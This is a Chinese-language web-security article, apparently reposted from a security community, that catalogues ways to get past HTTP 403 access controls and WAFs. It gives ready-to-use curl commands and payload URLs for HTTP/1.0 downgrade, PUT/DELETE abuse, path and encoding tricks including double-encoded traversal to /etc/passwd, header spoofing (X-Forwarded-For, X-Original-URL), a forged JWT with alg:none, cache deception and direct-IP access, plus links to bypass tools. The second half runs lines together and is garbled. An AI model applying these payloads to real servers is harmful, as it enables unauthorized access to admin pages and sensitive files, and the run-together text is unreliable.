fiatlux1212025-10-10文章来源:SecHub网络安全社区
简单解释下400,401,403和40x的区别和为什么要绕过403

好比去淘金场 工作人员说你的名牌不是vip 绕过vip的限制就能进入淘金场
原理:waf写的时候权限限制不规范 允许http 1.0通过
http 1.1协议改成http 1.0协议
原请求(HTTP/1.1 触发 403):curl -H "Host: target.com" https://target.com/admin
绕过请求(强制 HTTP/1.0):curl -0 -H "Host: target.com" http://target.com/admin(-0 表示使用 HTTP/1.0)
抓包工具直接改也行

抓包修改位置

PUT DELETE OPTIONS
PUT :向服务器发送数据以更新现有资源。如果资源不存在,则创建新的资源。与 POST 不同,PUT 通常是幂等的,即多次执行相同的 PUT 请求不会产生不同的结果。(覆盖)
curl -X PUT https://target.com/admin(返回) 返回 200/204 即绕过成功,可以上传恶意文件(注意授权!)
DELETE:从服务器删除指定的资源。请求中包含要删除的资源标识符。(删除)
curl -X DELETE https://target.com/admin 返回 200/404 即路径有效,可以删除对应的文件资源(注意授权
OPTIONS:请求获得由 Request-URL 标识的资源在请求或响应的通信过程中的功能选项,即用于询问服务器支持的请求方法,也常用于跨域请求场景。(探测)
curl -X OPTIONS -I https://target.com/admin (提取Allow: GET,PUT,DELETE,优先测试列表内非 GET/POST 方法)
特殊方法
CONNECT 方法 目标通过代理服务器访问(如内网代理、正向代理) 需要在代理环境政策测试
MKCOL/COPY/MOVE WebDAV 专用方法,需配合 WebDAV 权限漏洞,或服务器启用 WebDAV 协议(如网盘、文件管理系统直接绕过 403 概率低,多为辅助操作(如移动敏感文件)
原理:服务器可能仅对 80/443 端口做严格路径限制,对 8080、8443 等非标准端口的隐藏管理接口管控宽松
80 端口访问 403:http://target.com:80/admin
8080 端口绕过:http://target.com:8080/admin
下面有几个特例也可以用于fuzz
:端口:/admin:8080/admin/:80/../
Transfer-Encoding: chunked 头让服务器以分块方式解析请求体,部分 WAF 可能因未完整解析内容而放行,进而绕过权限校验(Python 实现):
import requests
url = "https://target.com/protected"
headers = {
"Host": "target.com",
"Transfer-Encoding": "chunked" # 启用分块编码
}
# 分块数据格式:块大小\r\n块内容\r\n,0\r\n\r\n 表示结束
data = "5\r\nhello\r\n0\r\n\r\n"
response = requests.post(url, headers=headers, data=data)
print(response.status_code) # 可能返回 200 而非 403
https://github.com/c0ny1/chunked-coding-converter
bp有个插件可以开盖即食(右键打开就可以使用了)


http://x.com:443/adminhttps://x.com:80/admin原理:服务器对路径中 .、/、; 、@、\等特殊字符处理逻辑漏洞,可能忽略冗余字符或误解析路径
原路径 403:http://target.com/admin
末尾加 .:http://target.com/admin.
加 ; 分割:http://target.com/;/admin
\ /和 \ // 的互换:http://target.com//admin http://target.com/admin http://target.com\admin http://target.com\admin
目录遍历变体:http://target.com/admin../
上面的都是服务器解析为http://target.com/admin 后实现绕过
../ 编码为 %252e%252e%252f),绕过 WAF 对单层编码的检测http://target.com/../../etc/passwd(直接访问触发 403)http://target.com/%252e%252e%252f%252e%252e%252fetc%252fpasswd(服务器解码后得到原始路径)
.json、.%20),绕过路径匹配规则http://target.com/admin.%20,%20 为空格):http://target.com/admin.%20(服务器忽略空格后缀,解析为 /admin).json):http://target.com/admin.json(部分 Java 服务会忽略非预期后缀,执行 /admin 逻辑)http://target.com/api?file=legithttp://target.com/api?file=legit&file=../../etc/passwd(服务器优先解析后一个 file 参数,访问敏感文件)curl https://target.com/admin/settingscurl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin/settingsX-Real-IP: 192.168.1.1、X-Client-IP: 10.0.0.1X-Original-URL 或 X-Rewrite-URL 头会覆盖原始请求路径,若服务器仅校验原始路径而忽略该头,可绕过限制/ 无权限):GET / HTTP/1.1 Host: target.comGET / HTTP/1.1 Host: target.com X-Original-URL: /admin(服务器实际执行 /admin 逻辑)curl https://target.com/protectedcurl -H "Referer: https://target.com/index.html" https://target.com/protected(伪装从目标自身首页跳转)alg: none 算法(无签名),且服务器未校验签名算法有效性,可直接伪造 token 绕过认证eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjF9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5ceyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOjF9.(删除签名部分,服务器若接受 none 算法则通过认证)curl -u admin:123456 https://target.com/admincurl -H "Authorization: Basic" https://target.com/admin(仅传 Basic 头,无账号密码编码内容)PHPSESSID=outer123/admin)触发 403,会话 ID 为 PHPSESSID=inner456PHPSESSID 改为 outer123,发送后成功访问(服务器误将外部门户会话识别为内部会话)/admin)的响应存入缓存,后续请求直接从缓存获取,绕过实时权限校验
GET /anything HTTP/1.1 Host: target.com X-Original-URL: /admin(缓存服务器将 /anything 映射为 /admin 的响应)http://target.com/anything,缓存服务器直接返回 /admin 的内容,无需触发服务器权限校验target.com)做路径限制,对直接 IP 访问无管控(因未关联域名的权限规则)
nslookup target.com 获取服务器 IP:192.168.1.100http://target.com/adminhttp://192.168.1.100/admin.css、.js)的路径校验宽松,可在静态资源路径中嵌入敏感路径http://target.com/adminhttp://target.com/admin/style.css(服务器解析为静态资源,忽略对 /admin 的权限校验,返回 style.css 同时暴露 /admin 目录结构)下面是收集的403bypass插件
https://github.com/devploit/nomore403
https://github.com/sting8k/BurpSuite_403Bypasser
https://github.com/yunemse48/403bypasser